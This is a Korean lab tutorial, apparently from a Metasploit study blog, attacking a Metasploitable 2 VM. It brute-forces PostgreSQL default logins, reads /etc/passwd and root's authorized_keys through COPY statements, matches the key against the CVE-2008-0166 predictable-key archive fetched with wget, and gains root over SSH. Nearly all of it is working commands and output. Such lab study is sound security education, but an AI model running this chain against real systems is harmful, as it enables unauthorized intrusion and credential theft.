본문 바로가기

Learning/└◆Metasploit

metasploit 06. PostgreSQL Bruteforce, Obtain and Crack Root SSH key

PostgreSQL Bruteforce, Obtain and Crack Root SSH key

DB를 통한 운영체제 다루는 기술 CVE-2008-0166

사용시스템

Metasploitable V2 Linux

KaliLinux

 

What is exploit CVE-2008-0166?

OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a 

random number generator that generates predictable numbers, which makes it easier for 

remote attackers to conduct brute force guessing attacks against cryptographic keys.

Debian 기반의 OSOpenSSL 0.9.8c-1 버전부터 0.9.8g-9 이전 버전까지는 예측가능한 숫자를 가

지고 생성하여 사용한다. 이런경우에는 쉽게 무작위 추측 공격을 통해 암호화 키에 대한 원격 공격이 가능하다.


We will use this exploit to download 32768 potential ssh private/public key pairs for a 

future brute force attack.

앞으로의 무작위 공격을 위해 공격 가능성이 높은 32768개의 ssh private/public 키 쌍의 묶음 파

일을 다운로드하여 공격한다.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166

***************************************************************************************************************

http://www.exploit-db.com -> CVE-2008-0166 검색

2008-08-01 Predictable PRNG Brueforce SSH Exploit (Python)

https://www.exploit-db.com/exploits/5720/

......(중략).... 툴 제공

# Autor: hitz - WarCat team (warcat.no-ip.org)

# Collaborator: pretoriano

#

# 1. Download https://github.com/offensive-security/exploit-database-bin-sploits/

raw/master/sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)

#

# 2. Extract it to a directory

#

# 3. Execute the python script

# - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5

# - execute: python exploit.py (without parameters) to display the help

# - if the key is found, the script shows something like that:

# Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121

# Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240

===============================================================================================================

DB 크랙 작업

(선수작업1)

(KaliLinux)

# cd /var/tmp

# wget --no-check-certificate \

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2

ㄴ 인증서 없이 작업 하는 방법/파일 다운

-> 출력 내용 생략

# ls -l 5622*

-> 출력 내용 생략

# tar xvjf 5622.tar.bz2

-> 출력 내용 생략

ㄴ 다운받은 파일 압축 해제

  

(선수작업2)

(Metasploitable V2)

관리자 암호 설정

msfadmin 사용자로 로그인

 

$ sudo su -

# passwd

-> 관리자 암호를 soldesk1. 설정한다.

===============================================================================================================


(KaliLinux)

포트 스캐닝

# nmap -sV 192.168.10.134

.....

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7


PostgreSQL 서버의 ID/PASS dictionary attack

# msfconsole -q

msf > search postgres_login

msf > use auxiliary/scanner/postgres/postgres_login

msf auxiliary(postgres_login) > show options

msf auxiliary(postgres_login) > set RHOSTS 192.168.10.134

msf auxiliary(postgres_login) > set STOP_ON_SUCESS true

msf auxiliary(postgres_login) > exploit

[-] 192.168.10.134:5432 POSTGRES - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)

[-] 192.168.10.134:5432 POSTGRES - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)

[+] 192.168.10.134:5432 - LOGIN SUCCESSFUL: postgres:postgres@template1

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed


PostgreSQL 서버 접속 (관리자 로 접속)

# psql -h 192.168.10.134 -U postgres

passwd : postgres

*****************************************************************************************************

postgres=# help

postgres=# select * from pg_user;    pg_user 테이블 안의 내용 화인

postgres=# create user hacker with password 'abc123';    새로운 사용자 생성

postgres=# select * from pg_user;    사용자 권한 변경    f <-- 일반 사용자 권한이 없음

postgres=# create user hacker with superuser;    사용자의 권한 변경



postgres=# \dn    모든 스키마(schemas) 출력

postgres=# \l    모든 데이터베이스(databases) 출력

postgres=# create table accounts (linux_users text);    accounts 테이블 컬럼 생성

postgres=# copy accounts from '/etc/passwd';            accounts 테이블 내용 복사

postgres=# select * from accounts where linux_users like '%bash%';    accounts 테이블에 bash 단어를 가진 목록 확인

postgres=# create table sshkeys (auth_key text);    sshkeys 테이블 생성

postgres=# select * from accounts where linux_users like '%bash%';

postgres=# copy sshkeys from '/root/.ssh/authorized_keys';    /root/.ssh/authorized_keys 내용을 sshkeys 파일에 복사


postgres=# \q    PostgreSQL 접속 해제

*****************************************************************************************************

 

수동으로 작업 해보기

# psql -h 192.168.10.134 \

-U postgres \

-c 'select * from sshkeys limit 1' | tee sshkeys.txt

 postgres 사용자의 암호: (postgres)

auth_key


ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJk

cteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R

0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUG

IzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1

RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

(1개 행)

-> PostgreSQL 서버에 생성된 sshkeys 테이블의 내용을 sshkeys.txt 파일에 저장

 

# ls -l sshkeys.txt 

# grep "ssh-rsa" sshkeys.txt | awk '{print $2}'

-> sshkeys.txt 파일의 내용 중 "ssh-rsa"을 검색하여 두번째 필드를 출력(key만)


AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQql

dJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXX

vSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw

2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoX

fdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w==


sshkeys.txt 파일의 내용 중 마지막 == 부분을 삭제

# grep "ssh-rsa" sshkeys.txt | awk '{print $2}' | sed 's/==$//'


AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQql

dJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXX

vSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw

2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoX

fdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w


[참고] grep 명령어의 확장 명령어

# fgrep '^root' file1            안을 해석하지않고 root를 검색

# egrep '(root|adm|nobody)' /etc/group


# fgrep `grep "ssh-rsa" sshkeys.txt | awk '{print $2}' | sed 's/==$//'` \

/var/tmp/rsa/2048/*.pub | tee keys.txt

-> /var/tmp/rsa/2048/*.pub 파일들의 내용 중에서 sshkeys.txt 파일과 동일한 내용 검색하여

keys.txt 파일에 저장

 

# cat keys.txt 

# cat keys.txt | awk -F: '{print $1}'

-> /var/tmp/rsa/2048 디렉토리안의 파일 중 keys.txt 파일의 내용이 들어 있는 파일 이름과 필터링

 

----- HostA -----             ----- HostB ----

# ssh-keygen -t rsa

/root/.ssh/A

/root/.ssh/A.pub --------> /root/.ssh/authorized_kyes

 

# cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'

/var/tmp/rsa/2048/57c3115d77c56390332dc5c49978627a-5429

-> 파일의 이름 중 .pub 확장자를 필터링

 

# ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` root@192.168.10.134

(# ssh -i Keyfile root@192.168.10.134)

Last login: Thu Apr 7 21:05:17 2016 from :0.0

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

 

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

 

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

 

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

You have new mail.

 

 

 

# hostname

metasploitable

 

# id

uid=0(root) gid=0(root) groups=0(root)

 

# exit

#

 

# ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` \

root@192.168.10.134 "hostname;id"

metasploitable

uid=0(root) gid=0(root) groups=0(root)

 

 

 

[참고] 여러가지 명령어를 수행해 본다.

# vi cmd.sh

#!/bin/bash

 

ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` \

root@192.168.10.134 $*

 

# chmod 755 cmd.sh

# ./cmd.sh hostname

# ./cmd.sh id

# ./cmd.sh ifconfig -a